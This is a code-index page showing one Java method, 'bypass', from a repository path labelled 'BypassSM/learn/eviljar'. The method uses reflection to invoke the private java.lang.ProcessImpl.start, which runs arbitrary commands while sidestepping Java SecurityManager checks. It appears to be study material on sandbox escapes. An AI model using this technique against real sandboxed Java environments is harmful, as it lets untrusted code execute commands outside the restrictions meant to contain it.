MCPcopy Create free account
hub / github.com/Firebasky/Java / bypass

Method bypass

BypassSM/learn/eviljar/src/main/java/bypass_sm.java:15–32  ·  view source on GitHub ↗
(String[] cmd)

Source from the content-addressed store, hash-verified

13 }
14
15 public static void bypass(String[] cmd) throws Exception{
16 Map<String,String> envblock=null;
17 String path=null;
18 ProcessBuilder.Redirect[] stdHandles=null;
19 boolean redirectErrorStream=true;
20
21 Class C = Class.forName("java.lang.ProcessImpl");
22 Method start = C.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
23 start.setAccessible(true);
24 Process e = (Process) start.invoke(null, cmd, envblock, path, stdHandles, redirectErrorStream);
25
26 BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(e.getInputStream()));
27 String line;
28 while ((line=bufferedReader.readLine())!=null){
29 System.out.println(line);
30 }
31 bufferedReader.close();
32 }
33
34
35 public static Process ProcessImpl(String[] cmd)throws Exception{

Callers 1

bypass_smMethod · 0.95

Calls 1

setAccessibleMethod · 0.80

Tested by

no test coverage detected